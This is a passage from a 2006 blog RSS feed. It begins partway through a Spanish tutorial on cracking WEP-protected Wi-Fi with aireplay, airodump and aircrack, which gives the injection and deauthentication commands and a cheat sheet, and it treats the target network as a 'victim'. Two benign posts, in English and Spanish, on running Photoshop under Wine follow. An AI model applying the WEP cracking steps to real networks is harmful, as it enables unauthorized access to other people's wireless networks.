<p>Ya en una nueva consola, el siguiente paso es asociar nuestra interfaz inalámbrica con la conexión en la cual estamos capturando tráfico, y de esta forma poder inyectar paquetes más tarde, haciendo al mismo tiempo una subida de ritmo en la adquisición de <code>IV's</code>. El programa que nos permitirá la operación en cuestión se llama <code>aireplay</code>, y se ejecuta con la siguiente sintaxis: <code>aireplay -1 0 -e ESSID -a BSSID -h 0:1:2:3:4:5 ath0</code>, donde ESSID es el nombre de la red inalámbrica víctima y BSSID la dirección MAC del router de destino (la encontraremos a la izquierda de la pantalla del <code>airodump</code>, de la forma XX:XX:XX:XX:XX). Si todo ha ido bien, recibiremos una notificación de que todo ha ido bien al ejecutar <code>aireplay</code>. Si no es así, el comando <code>iwconfig ath0 rate 1M</code> puede ayudar. Si el infortunio continua, significa que tienes que estar más cerca de la víctima.</p>
<p>Empezamos a inyectar paquetes: <code>aireplay -3 -b BSSID -h 0:1:2:3:4:5 ath0</code> (sustituir BSSID). El comando <code>aireplay -0 ath0 -a BSSID ath0</code> puede ayudar a aligerar las cosas. Recuéstate en la silla y espera a que la columna de <code>data #</code> del <code>airodump</code> alcance la cantidad deseada (100.000 (para 64bits) - 1.000.000 (para 128bits), dependiendo de la fuerza de la clave WEP). Una vez llegado el momento, presiona Ctrl + C en ambas consolas para terminar los procesos.</p>
<p>Por último, extraemos la clave WEP de nuestra víctima ejecutando: <code>aircrack filename.ivs</code>, donde <code>filename.ivs</code> es el archivo anteriormente declarado donde guardamos todo el tráfico capturado por <code>airodump</code>.</p>
<h3>Síntesis y resumen del ataque (CheatSheet)</h3>
<p><strong>Consola 1:</strong><br />
<code>su</code><br />
<code>airmon start ath0</code><br />
<code>kismet</code> (anotamos ESSID y Channel#)<br />
<code>airodump ath0 <strong>filename channel# 1</strong></code></p>
<p><strong>Consola 2:</strong><br />
<code>aireplay -1 0 -e <strong>ESSID</strong> -a <strong>BSSID</strong> -h 0:1:2:3:4:5 ath0</code><br />
<code>aireplay -3 -b <strong>BSSID</strong> -h 0:1:2:3:4:5 ath0</code><br />
<code>aircrack <strong>filename.ivs</strong></code></p>
<p><strong>Consola Opcional:</strong><br />
Opcional: <code>iwconfig ath0 rate 1M</code><br />
Opcional: <code>aireplay -0 ath0 -a <strong>BSSID</strong> ath0</code></p>
<h3>Disclaimer:</h3>
<p><em>Artículo basado en <a href="http://www.turkeyfarm.net/blog/2006/06/22/cracking-wep-with-linux-actually-works/">TurkeyFarm &raquo; Cracking WEP with Ubuntu (Actually Works)</a>.</em></p>
]]></content:encoded>
			<wfw:commentRss>http://www.knithx.net/2006/09/05/crackeando-conexiones-wireless-protegidas-con-claves-wep-en-linux-chipset-atheros/feed/</wfw:commentRss>
		</item>
		<item>
		<title>How to run Photoshop CS/CS2 in Linux</title>
		<link>http://www.knithx.net/2006/07/29/how-to-run-photoshop-cscs2-in-linux/</link>
		<comments>http://www.knithx.net/2006/07/29/how-to-run-photoshop-cscs2-in-linux/#comments</comments>
		<pubDate>Sat, 29 Jul 2006 15:56:23 +0000</pubDate>
		<dc:creator>knithx</dc:creator>
		
		<category><![CDATA[Artículos]]></category>

		<category><![CDATA[Linux]]></category>

		<guid isPermaLink="false">http://www.knithx.net/2006/07/29/how-to-run-photoshop-cscs2-in-linux/</guid>
		<description><![CDATA[One of the applications people miss the most for Linux is Photoshop. Many people like Gimp, but I don&#8217;t really get on with him very well.  I find Photoshop easier for me because I spent more time using it when I was a Windows user. Photoshop is also one of the most difficult applications [...]]]></description>
			<content:encoded><![CDATA[<p>One of the applications people miss the most for Linux is Photoshop. Many people like Gimp, but I don&#8217;t really get on with him very well.  I find Photoshop easier for me because I spent more time using it when I was a Windows user. Photoshop is also one of the most difficult applications to run on Linux, so I began investigating and here is the answer:</p>
<p>First of all, we need to clean our work area: if you are a Debian user, one <code>apt-get remove --purge wine</code> and <code>apt-get install wine</code> should be enough for having a clean install of the newest version of <a href="http://www.winehq.com">Wine</a>, a Windows emulator for Linux platforms. If you are not a Debian user, you must get Wine from the official website, and install it through the command <code>./configure &#038;&#038; make &#038;&#038; sudo make install</code>, in the directory made when uncompressing the downloaded package.</p>
<p><span id="more-207"></span></p>
<p>Now we are going to do some steps in Windows. We need to install Photoshop normally. Once installed, we need to save the Windows registry key which identifies Photoshop and has its information so we can implement it on Wine. Execute <code>regedit.exe</code> and place in the key
<pre>HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\{EFB21DE7-8C19-4A88-BB28-A766E16493BC}</pre>
<p>In the tree view, right click on it and click on &#8220;export&#8221;. After doing this, you should get a <code>.reg</code> file which contents must be used in Linux.</p>
<p>Let&#8217;s go back to Linux and copy the whole folder <code>C:\Program Files\Adobe\</code> to the Linux folder: <code>~/.wine/drive_c/Program Files/</code>. Now we have to add the Windows registry information to Wine. For doing that, edit the <code>.reg</code> file, delete the first line, and change this:</p>
<pre>[HKEY_LOCAL_MACHINE\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\{EFB21DE7-8C19-4A88-BB28-A766E16493BC}]</pre>
<p>Into this:</p>
<pre>[SOFTWARE\\\\Microsoft\\\\Windows\\\\CurrentVersion\\\\Uninstall\\\\{EFB21DE7-8C19-4A88-BB28-A766E16493BC}]</pre>
<p>When the change is done, copy all the new content of the <code>.reg</code> file at the end of the Linux file <code>~/.wine/system.reg</code>.</p>
<p>Finally, we must solve some compatibility problems running <code>winecfg</code>, and adding <code>photoshop.exe</code> with Windows 2000 compatibility mode selected in the bottom combo menu.</p>
<p>Ready! Now you can run Photoshop in Linux executing <code>~/.wine/drive_c/Program Files/Adobe/Photoshop CS/Photoshop.exe</code>.</p>
]]></content:encoded>
			<wfw:commentRss>http://www.knithx.net/2006/07/29/how-to-run-photoshop-cscs2-in-linux/feed/</wfw:commentRss>
		</item>
		<item>
		<title>Cómo ejecutar Photoshop CS2 en Linux</title>
		<link>http://www.knithx.net/2006/07/04/como-ejecutar-photoshop-cs2-en-linux/</link>
		<comments>http://www.knithx.net/2006/07/04/como-ejecutar-photoshop-cs2-en-linux/#comments</comments>
		<pubDate>Tue, 04 Jul 2006 14:33:04 +0000</pubDate>
		<dc:creator>knithx</dc:creator>
		
		<category><![CDATA[Artículos]]></category>

		<category><![CDATA[Linux]]></category>

		<guid isPermaLink="false">http://www.knithx.net/2006/07/04/como-ejecutar-photoshop-cs2-en-linux/</guid>
		<description><![CDATA[Una de las aplicaciones que más se echa de menos en Linux es el Photoshop. Muchos son partidarios de Gimp, pero no me llevo bien con él y no hace las cosas como quiero la mayoría de las veces. Por otra parte, el Photoshop es una de las aplicaciones más difíciles de ejecutar en Linux, [...]]]></description>
			<content:encoded><![CDATA[<p>Una de las aplicaciones que más se echa de menos en Linux es el Photoshop. Muchos son partidarios de Gimp, pero no me llevo bien con él y no hace las cosas como quiero la mayoría de las veces. Por otra parte, el Photoshop es una de las aplicaciones más difíciles de ejecutar en Linux, así que me puse manos a la obra y finalmente conseguí correrlo en Linux; he aquí como lo hice:</p>
<p>Para empezar, limpiemos el escenario de trabajo: si eres usuario de Debian con un <code>apt-get remove --purge wine</code> y un <code>apt-get install wine</code> ya tendrás instalado <em><a href="http://www.winehq.com">Wine</a></em>, el emulador de Windows para Linux, que nos servirá para correr las aplicaciones que deseemos, en este caso, el Photoshop. En caso contrario, tendrás que bajarte el paquete de la página oficial, descomprimirlo, e instalarlo ejecutando en el directorio creado <code>./configure &#038;&#038; make &#038;&#038; sudo make install</code>.</p>
<p><span id="more-181"></span></p>
<p>Ahora toca irnos a Windows y, una vez allí, instalar el Photoshop normalmente. Una vez instalado, debemos de salvar la clave del registro de Windows que identifica al Photoshop para implementarla en Wine. Ejecuta <code>regedit.exe</code> y sitúate en la clave:
<pre>HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\{EFB21DE7-8C19-4A88-BB28-A766E16493BC}</pre>
<p>En la vista de árbol, bastará un click derecho sobre ella y &#8220;exportar&#8221; para salvarla en un archivo <code>.reg</code>. Volvamos a Linux.</p>
<p>En Linux hemos de hacer dos cosas. Primero, accedemos a la partición de Windows, y copiamos la carpeta <code>C:\Archivos de Programa\Adobe\</code> en <code>~/.wine/drive_c/Program Files/</code>.</p>
<p>Para implementar los datos del registro de Windows en Linux, tenemos que editar el archivo <code>.reg</code> obtenido, eliminando la primera línea y cambiando esta</p>
<pre>[HKEY_LOCAL_MACHINE\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\{EFB21DE7-8C19-4A88-BB28-A766E16493BC}]</pre>
<p>por</p>
<pre>[SOFTWARE\\\\Microsoft\\\\Windows\\\\CurrentVersion\\\\Uninstall\\\\{EFB21DE7-8C19-4A88-BB28-A766E16493BC}]</pre>
<p>Una vez hecho el cambio, pegamos todo el contenido del nuevo archivo <code>.reg</code> al final del archivo <code>~/.wine/system.reg</code>.</p>
<p>Y finalmente, para solucionar problemas de compatibilidad, ejecutamos <code>winecfg</code>, agregamos el <code>photoshop.exe</code> y seleccionamos el modo de compatibilidad para Windows 2000.</p>
<p>¡Listo! Ya puedes correr Photoshop en Linux ejecutando <code>~/.wine/drive_c/Program Files/Adobe/Photoshop CS/Photoshop.exe</code>.</p>
]]></content:encoded>
			<wfw:commentRss>http://www.knithx.net/2006/07/04/como-ejecutar-photoshop-cs2-en-linux/feed/</wfw:commentRss>
		</item>
	</channel>
</rss>
